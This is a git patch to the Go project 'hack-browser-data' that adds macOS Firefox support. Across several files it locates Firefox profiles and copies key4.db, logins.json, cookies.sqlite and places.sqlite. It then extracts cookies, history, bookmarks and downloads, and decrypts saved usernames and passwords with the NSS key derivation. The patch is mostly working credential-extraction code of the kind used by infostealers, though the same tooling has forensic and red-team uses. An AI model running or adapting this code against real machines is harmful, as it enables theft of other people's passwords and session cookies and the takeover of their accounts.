From 88fe9c96dbdbccb97352a710c180ac12541f18c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Tue, 11 Jan 2022 18:19:17 +0800 Subject: [PATCH] feat: support firefox for mac --- pkg/browser/browser.go | 225 ++++++++++++++++++++++++++++--- pkg/browser/browser_darwin.go | 34 +++-- pkg/browser/browser_test.go | 44 +++++- pkg/browser/consts/filename.go | 24 ++-- pkg/browser/data/bookmark.go | 48 +++++++ pkg/browser/data/browsingdata.go | 69 ++++++++++ pkg/browser/data/cookie.go | 42 ++++++ pkg/browser/data/creditcard.go | 2 + pkg/browser/data/download.go | 60 +++++++++ pkg/browser/data/history.go | 50 +++++++ pkg/browser/data/model.go | 72 ---------- pkg/browser/data/password.go | 123 ++++++++++++++++- pkg/browser/item.go | 71 +++++++--- 13 files changed, 726 insertions(+), 138 deletions(-) delete mode 100644 pkg/browser/data/model.go diff --git a/pkg/browser/browser.go b/pkg/browser/browser.go index 5173fe7..2e2a63c 100644 --- a/pkg/browser/browser.go +++ b/pkg/browser/browser.go @@ -2,6 +2,7 @@ package browser import ( "fmt" + "io/fs" "io/ioutil" "os" "path" @@ -16,29 +17,60 @@ var ( homeDir, _ = os.UserHomeDir() ) -func PickBrowsers(name string) []*chromium { +func PickBrowsers(name string) { + +} + +func PickChromium(name string) []*chromium { var browsers []*chromium name = strings.ToLower(name) if name == "all" { - for _, v := range browserList { - b := v.New(v.browserInfo, v.items) + for _, choice := range chromiumList { + b, err := newChromium(choice.browserInfo, choice.items) + if err != nil { + panic(err) + } browsers = append(browsers, b) } return browsers } - if choice, ok := browserList[name]; ok { - b := choice.New(choice.browserInfo, choice.items) + if choice, ok := chromiumList[name]; ok { + b, err := newChromium(choice.browserInfo, choice.items) + if err != nil { + panic(err) + } browsers = append(browsers, b) return browsers } return nil } +func PickFirefox(name string) []*firefox { + var browsers []*firefox + name = strings.ToLower(name) + if name == "all" || name == "firefox" { + for _, v := range firefoxList { + b, err := newFirefox(v.browserInfo, v.items) + if err != nil { + panic(err) + } + // b := v.New(v.browserInfo, v.items) + browsers = append(browsers, b...) + } + return browsers + } + // if choice, ok := browserList[name]; ok { + // b := choice.New(choice.browserInfo, choice.items) + // browsers = append(browsers, b) + // return browsers + // } + return nil +} + type chromium struct { browserInfo *browserInfo items []item itemPaths map[item]string - masterKey []byte } func (c *chromium) GetProfilePath() string { @@ -54,18 +86,136 @@ func (c *chromium) GetBrowserName() string { } type firefox struct { - browserInfo *browserInfo - items []item - itemPaths map[item]string - masterKey []byte + browserInfo *browserInfo + items []item + itemPaths map[item]string + multiItemPaths map[string]map[item]string } // NewBrowser 根据浏览器信息生成 Browser Interface -func newBrowser(browserInfo *browserInfo, items []item) *chromium { - return &chromium{ - browserInfo: browserInfo, +func newChromium(info *browserInfo, items []item) (*chromium, error) { + c := &chromium{ + browserInfo: info, items: items, } + itemsPaths, err := getChromiumItemAbsPath(c.browserInfo.profilePath, c.items) + if err != nil { + return nil, err + } + c.itemPaths = itemsPaths + return c, err +} + +// newFirefox +func newFirefox(info *browserInfo, items []item) ([]*firefox, error) { + f := &firefox{ + browserInfo: info, + items: items, + } + multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items) + if err != nil { + panic(err) + } + var firefoxList []*firefox + for name, value := range multiItemPaths { + firefoxList = append(firefoxList, &firefox{ + browserInfo: &browserInfo{ + name: name, + masterKey: nil, + }, + items: items, + itemPaths: value, + // multiItemPaths: value, + }) + } + return firefoxList, nil +} + +func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[item]string, error) { + var multiItemPaths = make(map[string]map[item]string) + absProfilePath := path.Join(homeDir, filepath.Clean(profilePath)) + err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths)) + return multiItemPaths, err +} + +func (f *firefox) copyItemFileToLocal() error { + for item, sourcePath := range f.itemPaths { + var dstFilename = item.FileName() + locals, _ := filepath.Glob("*") + for _, v := range locals { + if v == dstFilename { + err := os.Remove(dstFilename) + // TODO: Should Continue all iteration error + if err != nil { + return err + } + } + } + + // TODO: Handle read file name error + sourceFile, err := ioutil.ReadFile(sourcePath) + if err != nil { + fmt.Println(err.Error()) + } + err = ioutil.WriteFile(dstFilename, sourceFile, 0777) + if err != nil { + return err + } + } + return nil + // for name, itemPaths := range f.multiItemPaths { + // for item, path := range itemPaths { + // var dstFilename = item.FileName() + // locals, _ := filepath.Glob("*") + // for _, v := range locals { + // if v == dstFilename { + // // TODO: Should Continue all iteration error + // err := os.Remove(dstFilename) + // if err != nil { + // return err + // } + // } + // } + // } + // // if v == dstFilename { + // // err := os.Remove(dstFilename) + // // if err != nil { + // // return err + // // } + // // } + // // } + // // + // // // TODO: Handle read file name error + // // sourceFile, err := ioutil.ReadFile(sourcePath) + // // if err != nil { + // // fmt.Println(err.Error()) + // // } + // // err = ioutil.WriteFile(dstFilename, sourceFile, 0777) + // // if err != nil { + // // return err + // // } + // } + // return nil +} + +func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc { + return func(path string, info fs.FileInfo, err error) error { + for _, v := range items { + if info.Name() == v.DefaultName() { + parentDir := getParentDir(path) + if _, exist := multiItemPaths[parentDir]; exist { + multiItemPaths[parentDir][v] = path + } else { + multiItemPaths[parentDir] = map[item]string{v: path} + } + } + } + return err + } +} + +func getParentDir(absPath string) string { + return filepath.Base(filepath.Dir(absPath)) } func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc { @@ -82,12 +232,11 @@ func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc } } -func (c *chromium) walkItemAbsPath() error { +func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string, error) { var itemPaths = make(map[item]string) - absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath)) - err := filepath.Walk(absProfilePath, chromiumWalkFunc(defaultChromiumItems, itemPaths)) - c.itemPaths = itemPaths - return err + absProfilePath := path.Join(homeDir, filepath.Clean(profilePath)) + err := filepath.Walk(absProfilePath, chromiumWalkFunc(items, itemPaths)) + return itemPaths, err } func (c *chromium) copyItemFileToLocal() error { @@ -128,18 +277,50 @@ func (c *chromium) GetBrowsingData() []data.BrowsingData { return browsingData } +func (f *firefox) GetMasterKey() ([]byte, error) { + return f.browserInfo.masterKey, nil +} + +func (f *firefox) GetBrowserName() string { + return f.browserInfo.name +} + +func (f *firefox) GetBrowsingData() []data.BrowsingData { + var browsingData []data.BrowsingData + for item := range f.itemPaths { + d := item.NewBrowsingData() + if d != nil { + browsingData = append(browsingData, d) + } + } + return browsingData +} + type browserInfo struct { name string storage string profilePath string - masterKey string + masterKey []byte } const ( - chromeName = "Chrome" - edgeName = "Edge" + chromeName = "Chrome" + edgeName = "Edge" + firefoxName = "Firefox" ) +var defaultFirefoxItems = []item{ + firefoxKey4, + firefoxPassword, + firefoxCookie, + firefoxBookmark, + firefoxHistory, + firefoxDownload, + firefoxCreditCard, + firefoxLocalStorage, + firefoxExtension, +} + var defaultChromiumItems = []item{ chromiumKey, chromiumPassword, @@ -147,7 +328,7 @@ var defaultChromiumItems = []item{ chromiumBookmark, chromiumHistory, chromiumDownload, - chromiumCreditcard, + chromiumCreditCard, chromiumLocalStorage, chromiumExtension, } diff --git a/pkg/browser/browser_darwin.go b/pkg/browser/browser_darwin.go index 98f1d43..0b0177d 100644 --- a/pkg/browser/browser_darwin.go +++ b/pkg/browser/browser_darwin.go @@ -10,21 +10,30 @@ import ( ) var ( - browserList = map[string]struct { + chromiumList = map[string]struct { browserInfo *browserInfo items []item - New func(browser *browserInfo, items []item) *chromium + // New func(browser *browserInfo, items []item) *firefox }{ "chrome": { browserInfo: chromeInfo, items: defaultChromiumItems, - New: newBrowser, + // New: newBrowser, + }, + "edge": { + browserInfo: edgeInfo, + items: defaultChromiumItems, + // New: newBrowser, + }, + } + firefoxList = map[string]struct { + browserInfo *browserInfo + items []item + }{ + "firefox": { + browserInfo: firefoxInfo, + items: defaultFirefoxItems, }, - // "edge": { - // browserInfo: edgeInfo, - // items: defaultChromiumItems, - // New: newBrowser, - // }, } ) @@ -56,9 +65,8 @@ func (c *chromium) GetMasterKey() ([]byte, error) { var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) - c.masterKey = key - return c.masterKey, nil - + c.browserInfo.masterKey = key + return c.browserInfo.masterKey, nil } var ( @@ -72,6 +80,10 @@ var ( storage: edgeStorageName, profilePath: edgeProfilePath, } + firefoxInfo = &browserInfo{ + name: firefoxName, + profilePath: fireFoxProfilePath, + } ) const ( diff --git a/pkg/browser/browser_test.go b/pkg/browser/browser_test.go index c92e574..d5f9525 100644 --- a/pkg/browser/browser_test.go +++ b/pkg/browser/browser_test.go @@ -7,8 +7,8 @@ import ( "hack-browser-data/pkg/browser/outputter" ) -func TestPickBrowsers(t *testing.T) { - browsers := PickBrowsers("all") +func TestPickChromium(t *testing.T) { + browsers := PickChromium("all") filetype := "json" dir := "result" output := outputter.NewOutPutter(filetype) @@ -16,9 +16,6 @@ func TestPickBrowsers(t *testing.T) { panic(err) } for _, b := range browsers { - if err := b.walkItemAbsPath(); err != nil { - panic(err) - } fmt.Printf("%+v\n", b) if err := b.copyItemFileToLocal(); err != nil { panic(err) @@ -29,6 +26,7 @@ func TestPickBrowsers(t *testing.T) { } browserName := b.GetBrowserName() multiData := b.GetBrowsingData() + // TODO: 优化获取 Data 逻辑 for _, data := range multiData { if data == nil { fmt.Println(data) @@ -48,3 +46,39 @@ func TestPickBrowsers(t *testing.T) { } } } + +func TestPickFirefox(t *testing.T) { + browsers := PickFirefox("all") + filetype := "json" + dir := "result" + output := outputter.NewOutPutter(filetype) + if err := output.MakeDir("result"); err != nil { + panic(err) + } + for _, b := range browsers { + fmt.Printf("%+v\n", b) + if err := b.copyItemFileToLocal(); err != nil { + panic(err) + } + masterKey, err := b.GetMasterKey() + if err != nil { + fmt.Println(err) + } + browserName := b.GetBrowserName() + multiData := b.GetBrowsingData() + // TODO: 优化获取 Data 逻辑 + for _, data := range multiData { + if err := data.Parse(masterKey); err != nil { + fmt.Println(err) + } + filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype) + file, err := output.CreateFile(dir, filename) + if err != nil { + panic(err) + } + if err := output.Write(data, file); err != nil { + panic(err) + } + } + } +} diff --git a/pkg/browser/consts/filename.go b/pkg/browser/consts/filename.go index e193d8a..2f2f35d 100644 --- a/pkg/browser/consts/filename.go +++ b/pkg/browser/consts/filename.go @@ -14,10 +14,13 @@ const ( YandexPassword = "Ya PassMan Data" YandexCredit = "Ya Credit Cards" - FirefoxKey = "key4.db" - FirefoxCookie = "cookies.sqlite" - FirefoxLogin = "logins.json" - FirefoxData = "places.sqlite" + FirefoxKey4 = "key4.db" + FirefoxCookie = "cookies.sqlite" + FirefoxPassword = "logins.json" + FirefoxData = "places.sqlite" + + UnknownItem = "unknown item" + UnSupportItem = "unsupport item" ) // item's renamed filename @@ -34,10 +37,11 @@ const ( YandexPasswordFilename = "YandexPasswordFilename" YandexCreditFilename = "YandexCreditFilename" - // TODO: add all firefox's filename - - FirefoxKey4DBFilename = "FirefoxKey4DBFilename" - FirefoxCookieFilename = "FirefoxCookieFilename" - FirefoxLoginFilename = "FirefoxLoginFilename" - FirefoxDataFilename = "FirefoxDataFilename" + FirefoxKey4Filename = "FirefoxKey4DBFilename" + FirefoxCookieFilename = "FirefoxCookieFilename" + FirefoxPasswordFilename = "FirefoxPasswordFilename" + FirefoxDownloadFilename = "FirefoxDownloadFilename" + FirefoxHistoryFilename = "FirefoxHistoryFilename" + FirefoxBookmarkFilename = "FirefoxBookmarkFilename" + FirefoxDataFilename = "FirefoxDataFilename" ) diff --git a/pkg/browser/data/bookmark.go b/pkg/browser/data/bookmark.go index 1cc517d..9de9411 100644 --- a/pkg/browser/data/bookmark.go +++ b/pkg/browser/data/bookmark.go @@ -1,6 +1,8 @@ package data import ( + "database/sql" + "fmt" "sort" "github.com/tidwall/gjson" @@ -62,3 +64,49 @@ func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjso func (c *ChromiumBookmark) Name() string { return "bookmark" } + +type FirefoxBookmark []bookmark + +func (f *FirefoxBookmark) Parse(masterKey []byte) error { + var ( + err error + keyDB *sql.DB + bookmarkRows *sql.Rows + ) + keyDB, err = sql.Open("sqlite3", consts.FirefoxBookmarkFilename) + if err != nil { + return err + } + _, err = keyDB.Exec(closeJournalMode) + defer keyDB.Close() + + bookmarkRows, err = keyDB.Query(queryFirefoxBookMark) + if err != nil { + return err + } + defer bookmarkRows.Close() + for bookmarkRows.Next() { + var ( + id, bType, dateAdded int64 + title, url string + ) + if err = bookmarkRows.Scan(&id, &url, &bType, &dateAdded, &title); err != nil { + fmt.Println(err) + } + *f = append(*f, bookmark{ + ID: id, + Name: title, + Type: utils.BookMarkType(bType), + URL: url, + DateAdded: utils.TimeStampFormat(dateAdded / 1000000), + }) + } + sort.Slice(*f, func(i, j int) bool { + return (*f)[i].DateAdded.After((*f)[j].DateAdded) + }) + return nil +} + +func (f *FirefoxBookmark) Name() string { + return "bookmark" +} diff --git a/pkg/browser/data/browsingdata.go b/pkg/browser/data/browsingdata.go index 1e4250c..b5586ef 100644 --- a/pkg/browser/data/browsingdata.go +++ b/pkg/browser/data/browsingdata.go @@ -1,7 +1,76 @@ package data +import "time" + type BrowsingData interface { Parse(masterKey []byte) error Name() string } + +const ( + queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` + queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` + queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` + queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` + queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` + queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null` + queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` + queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` + queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` + queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` + queryNssPrivate = `SELECT a11, a102 from nssPrivate` + closeJournalMode = `PRAGMA journal_mode=off` +) + +type ( + loginData struct { + UserName string + encryptPass []byte + encryptUser []byte + Password string + LoginUrl string + CreateDate time.Time + } + bookmark struct { + ID int64 + Name string + Type string + URL string + DateAdded time.Time + } + cookie struct { + Host string + Path string + KeyName string + encryptValue []byte + Value string + IsSecure bool + IsHTTPOnly bool + HasExpire bool + IsPersistent bool + CreateDate time.Time + ExpireDate time.Time + } + history struct { + Title string + Url string + VisitCount int + LastVisitTime time.Time + } + download struct { + TargetPath string + Url string + TotalBytes int64 + StartTime time.Time + EndTime time.Time + MimeType string + } + card struct { + GUID string + Name string + ExpirationYear string + ExpirationMonth string + CardNumber string + } +) diff --git a/pkg/browser/data/cookie.go b/pkg/browser/data/cookie.go index d01e411..4e528db 100644 --- a/pkg/browser/data/cookie.go +++ b/pkg/browser/data/cookie.go @@ -8,6 +8,8 @@ import ( "hack-browser-data/pkg/browser/consts" "hack-browser-data/pkg/decrypter" "hack-browser-data/utils" + + _ "github.com/mattn/go-sqlite3" ) type ChromiumCookie []cookie @@ -72,3 +74,43 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error { func (c *ChromiumCookie) Name() string { return "cookie" } + +type FirefoxCookie []cookie + +func (f *FirefoxCookie) Parse(masterKey []byte) error { + cookieDB, err := sql.Open("sqlite3", consts.FirefoxCookieFilename) + if err != nil { + return err + } + defer cookieDB.Close() + rows, err := cookieDB.Query(queryFirefoxCookie) + if err != nil { + return err + } + defer rows.Close() + for rows.Next() { + var ( + name, value, host, path string + isSecure, isHttpOnly int + creationTime, expiry int64 + ) + if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly); err != nil { + fmt.Println(err) + } + *f = append(*f, cookie{ + KeyName: name, + Host: host, + Path: path, + IsSecure: utils.IntToBool(isSecure), + IsHTTPOnly: utils.IntToBool(isHttpOnly), + CreateDate: utils.TimeStampFormat(creationTime / 1000000), + ExpireDate: utils.TimeStampFormat(expiry), + Value: value, + }) + } + return nil +} + +func (f *FirefoxCookie) Name() string { + return "cookie" +} diff --git a/pkg/browser/data/creditcard.go b/pkg/browser/data/creditcard.go index 8f356f3..da078d4 100644 --- a/pkg/browser/data/creditcard.go +++ b/pkg/browser/data/creditcard.go @@ -6,6 +6,8 @@ import ( "hack-browser-data/pkg/browser/consts" "hack-browser-data/pkg/decrypter" + + _ "github.com/mattn/go-sqlite3" ) type ChromiumCreditCard []card diff --git a/pkg/browser/data/download.go b/pkg/browser/data/download.go index 6da51dc..c4546d7 100644 --- a/pkg/browser/data/download.go +++ b/pkg/browser/data/download.go @@ -4,9 +4,14 @@ import ( "database/sql" "fmt" "sort" + "strings" + + "github.com/tidwall/gjson" "hack-browser-data/pkg/browser/consts" "hack-browser-data/utils" + + _ "github.com/mattn/go-sqlite3" ) type ChromiumDownload []download @@ -49,3 +54,58 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error { func (c *ChromiumDownload) Name() string { return "download" } + +type FirefoxDownload []download + +func (f *FirefoxDownload) Parse(masterKey []byte) error { + var ( + err error + keyDB *sql.DB + downloadRows *sql.Rows + ) + keyDB, err = sql.Open("sqlite3", consts.FirefoxDownloadFilename) + if err != nil { + return err + } + _, err = keyDB.Exec(closeJournalMode) + if err != nil { + return err + } + defer keyDB.Close() + downloadRows, err = keyDB.Query(queryFirefoxDownload) + if err != nil { + return err + } + defer downloadRows.Close() + for downloadRows.Next() { + var ( + content, url string + placeID, dateAdded int64 + ) + if err = downloadRows.Scan(&placeID, &content, &url, &dateAdded); err != nil { + fmt.Println(err) + } + contentList := strings.Split(content, ",{") + if len(contentList) > 1 { + path := contentList[0] + json := "{" + contentList[1] + endTime := gjson.Get(json, "endTime") + fileSize := gjson.Get(json, "fileSize") + *f = append(*f, download{ + TargetPath: path, + Url: url, + TotalBytes: fileSize.Int(), + StartTime: utils.TimeStampFormat(dateAdded / 1000000), + EndTime: utils.TimeStampFormat(endTime.Int() / 1000), + }) + } + } + sort.Slice(*f, func(i, j int) bool { + return (*f)[i].TotalBytes < (*f)[j].TotalBytes + }) + return nil +} + +func (f *FirefoxDownload) Name() string { + return "download" +} diff --git a/pkg/browser/data/history.go b/pkg/browser/data/history.go index da38a39..5450f79 100644 --- a/pkg/browser/data/history.go +++ b/pkg/browser/data/history.go @@ -7,6 +7,8 @@ import ( "hack-browser-data/pkg/browser/consts" "hack-browser-data/utils" + + _ "github.com/mattn/go-sqlite3" ) type ChromiumHistory []history @@ -49,3 +51,51 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error { func (c *ChromiumHistory) Name() string { return "history" } + +type FirefoxHistory []history + +func (f *FirefoxHistory) Parse(masterKey []byte) error { + var ( + err error + keyDB *sql.DB + historyRows *sql.Rows + ) + keyDB, err = sql.Open("sqlite3", consts.FirefoxHistoryFilename) + if err != nil { + return err + } + _, err = keyDB.Exec(closeJournalMode) + if err != nil { + return err + } + defer keyDB.Close() + historyRows, err = keyDB.Query(queryFirefoxHistory) + if err != nil { + return err + } + defer historyRows.Close() + for historyRows.Next() { + var ( + id, visitDate int64 + url, title string + visitCount int + ) + if err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil { + fmt.Println(err) + } + *f = append(*f, history{ + Title: title, + Url: url, + VisitCount: visitCount, + LastVisitTime: utils.TimeStampFormat(visitDate / 1000000), + }) + } + sort.Slice(*f, func(i, j int) bool { + return (*f)[i].VisitCount < (*f)[j].VisitCount + }) + return nil +} + +func (f *FirefoxHistory) Name() string { + return "history" +} diff --git a/pkg/browser/data/model.go b/pkg/browser/data/model.go deleted file mode 100644 index 103eba3..0000000 --- a/pkg/browser/data/model.go +++ /dev/null @@ -1,72 +0,0 @@ -package data - -import ( - "time" -) - -const ( - queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` - queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` - queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` - queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` - queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` - queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null` - queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` - queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` - queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` - queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` - queryNssPrivate = `SELECT a11, a102 from nssPrivate` - closeJournalMode = `PRAGMA journal_mode=off` -) - -type ( - loginData struct { - UserName string - encryptPass []byte - encryptUser []byte - Password string - LoginUrl string - CreateDate time.Time - } - bookmark struct { - ID int64 - Name string - Type string - URL string - DateAdded time.Time - } - cookie struct { - Host string - Path string - KeyName string - encryptValue []byte - Value string - IsSecure bool - IsHTTPOnly bool - HasExpire bool - IsPersistent bool - CreateDate time.Time - ExpireDate time.Time - } - history struct { - Title string - Url string - VisitCount int - LastVisitTime time.Time - } - download struct { - TargetPath string - Url string - TotalBytes int64 - StartTime time.Time - EndTime time.Time - MimeType string - } - card struct { - GUID string - Name string - ExpirationYear string - ExpirationMonth string - CardNumber string - } -) diff --git a/pkg/browser/data/password.go b/pkg/browser/data/password.go index 4526fd4..351b4ea 100644 --- a/pkg/browser/data/password.go +++ b/pkg/browser/data/password.go @@ -1,8 +1,11 @@ package data import ( + "bytes" "database/sql" + "encoding/base64" "fmt" + "io/ioutil" "sort" "time" @@ -11,6 +14,7 @@ import ( "hack-browser-data/utils" _ "github.com/mattn/go-sqlite3" + "github.com/tidwall/gjson" ) type ChromiumPassword []loginData @@ -73,9 +77,122 @@ func (c *ChromiumPassword) Name() string { return "password" } -type firefoxPassword struct { -} +type FirefoxPassword []loginData + +func (f *FirefoxPassword) Parse(masterKey []byte) error { + globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(consts.FirefoxKey4Filename) + if err != nil { + return err + } + metaPBE, err := decrypter.NewASN1PBE(metaBytes) + if err != nil { + return err + } -func (c *firefoxPassword) Parse(masterKey []byte) error { + k, err := metaPBE.Decrypt(globalSalt, masterKey) + if err != nil { + return err + } + keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} + if bytes.Contains(k, []byte("password-check")) { + m := bytes.Compare(nssA102, keyLin) + if m == 0 { + nssPBE, err := decrypter.NewASN1PBE(nssA11) + if err != nil { + return err + } + finallyKey, err := nssPBE.Decrypt(globalSalt, masterKey) + finallyKey = finallyKey[:24] + if err != nil { + return err + } + allLogin, err := getFirefoxLoginData(consts.FirefoxPasswordFilename) + if err != nil { + return err + } + for _, v := range allLogin { + userPBE, err := decrypter.NewASN1PBE(v.encryptUser) + if err != nil { + return err + } + pwdPBE, err := decrypter.NewASN1PBE(v.encryptPass) + if err != nil { + return err + } + user, err := userPBE.Decrypt(finallyKey, masterKey) + if err != nil { + return err + } + pwd, err := pwdPBE.Decrypt(finallyKey, masterKey) + if err != nil { + return err + } + *f = append(*f, loginData{ + LoginUrl: v.LoginUrl, + UserName: string(decrypter.PKCS5UnPadding(user)), + Password: string(decrypter.PKCS5UnPadding(pwd)), + CreateDate: v.CreateDate, + }) + } + } + } + sort.Slice(*f, func(i, j int) bool { + return (*f)[i].CreateDate.After((*f)[j].CreateDate) + }) return nil } + +func (f *FirefoxPassword) Name() string { + return "password" +} + +func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) { + var ( + keyDB *sql.DB + ) + keyDB, err = sql.Open("sqlite3", key4file) + if err != nil { + return nil, nil, nil, nil, err + } + defer keyDB.Close() + + if err = keyDB.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil { + return nil, nil, nil, nil, err + } + + if err = keyDB.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil { + return nil, nil, nil, nil, err + } + return item1, item2, a11, a102, nil +} + +func getFirefoxLoginData(loginJson string) (l []loginData, err error) { + s, err := ioutil.ReadFile(loginJson) + if err != nil { + return nil, err + } + h := gjson.GetBytes(s, "logins") + if h.Exists() { + for _, v := range h.Array() { + var ( + m loginData + user []byte + pass []byte + ) + m.LoginUrl = v.Get("formSubmitURL").String() + user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) + if err != nil { + return nil, err + } + pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) + if err != nil { + return nil, err + } + m.encryptUser = user + m.encryptPass = pass + m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000) + l = append(l, m) + } + } + return l, nil +} diff --git a/pkg/browser/item.go b/pkg/browser/item.go index 99450dc..745ecce 100644 --- a/pkg/browser/item.go +++ b/pkg/browser/item.go @@ -14,17 +14,20 @@ const ( chromiumBookmark chromiumHistory chromiumDownload - chromiumCreditcard + chromiumCreditCard chromiumLocalStorage chromiumExtension + yandexPassword + yandexCreditCard + firefoxKey4 firefoxPassword firefoxCookie firefoxBookmark firefoxHistory firefoxDownload - firefoxCreditcard + firefoxCreditCard firefoxLocalStorage firefoxExtension ) @@ -43,18 +46,36 @@ func (i item) DefaultName() string { return consts.ChromiumDownload case chromiumLocalStorage: return consts.ChromiumLocalStorage - case chromiumCreditcard: + case chromiumCreditCard: return consts.ChromiumCredit case chromiumExtension: - return "unsupport item" + return consts.UnknownItem case chromiumHistory: return consts.ChromiumHistory + case yandexPassword: + return consts.YandexPassword + case yandexCreditCard: + return consts.YandexCredit + case firefoxKey4: + return consts.FirefoxKey4 case firefoxPassword: - return consts.FirefoxLogin + return consts.FirefoxPassword case firefoxCookie: + return consts.FirefoxCookie + case firefoxBookmark: + return consts.FirefoxData + case firefoxDownload: return consts.FirefoxData + case firefoxLocalStorage: + return consts.UnSupportItem + case firefoxCreditCard: + return consts.UnSupportItem + case firefoxHistory: + return consts.FirefoxData + case firefoxExtension: + return consts.UnSupportItem default: - return "unknown item" + return consts.UnknownItem } } @@ -72,18 +93,32 @@ func (i item) FileName() string { return consts.ChromiumDownloadFilename case chromiumLocalStorage: return consts.ChromiumLocalStorageFilename - case chromiumCreditcard: + case chromiumCreditCard: return consts.ChromiumCreditFilename - case chromiumExtension: - return "unsupport item" case chromiumHistory: return consts.ChromiumHistoryFilename + case chromiumExtension: + return consts.UnSupportItem + case firefoxKey4: + return consts.FirefoxKey4Filename case firefoxPassword: - return consts.FirefoxLoginFilename + return consts.FirefoxPasswordFilename case firefoxCookie: - return consts.FirefoxDataFilename + return consts.FirefoxCookieFilename + case firefoxBookmark: + return consts.FirefoxBookmarkFilename + case firefoxDownload: + return consts.FirefoxDownloadFilename + case firefoxLocalStorage: + return consts.UnSupportItem + case firefoxCreditCard: + return consts.UnSupportItem + case firefoxHistory: + return consts.FirefoxHistoryFilename + case firefoxExtension: + return consts.UnSupportItem default: - return "unknown item" + return consts.UnknownItem } } @@ -101,16 +136,22 @@ func (i item) NewBrowsingData() data.BrowsingData { return &data.ChromiumDownload{} case chromiumLocalStorage: return nil - case chromiumCreditcard: + case chromiumCreditCard: return &data.ChromiumCreditCard{} case chromiumExtension: return nil case chromiumHistory: return &data.ChromiumHistory{} case firefoxPassword: - return nil + return &data.FirefoxPassword{} case firefoxCookie: - return nil + return &data.FirefoxCookie{} + case firefoxBookmark: + return &data.FirefoxBookmark{} + case firefoxDownload: + return &data.FirefoxDownload{} + case firefoxHistory: + return &data.FirefoxHistory{} default: return nil }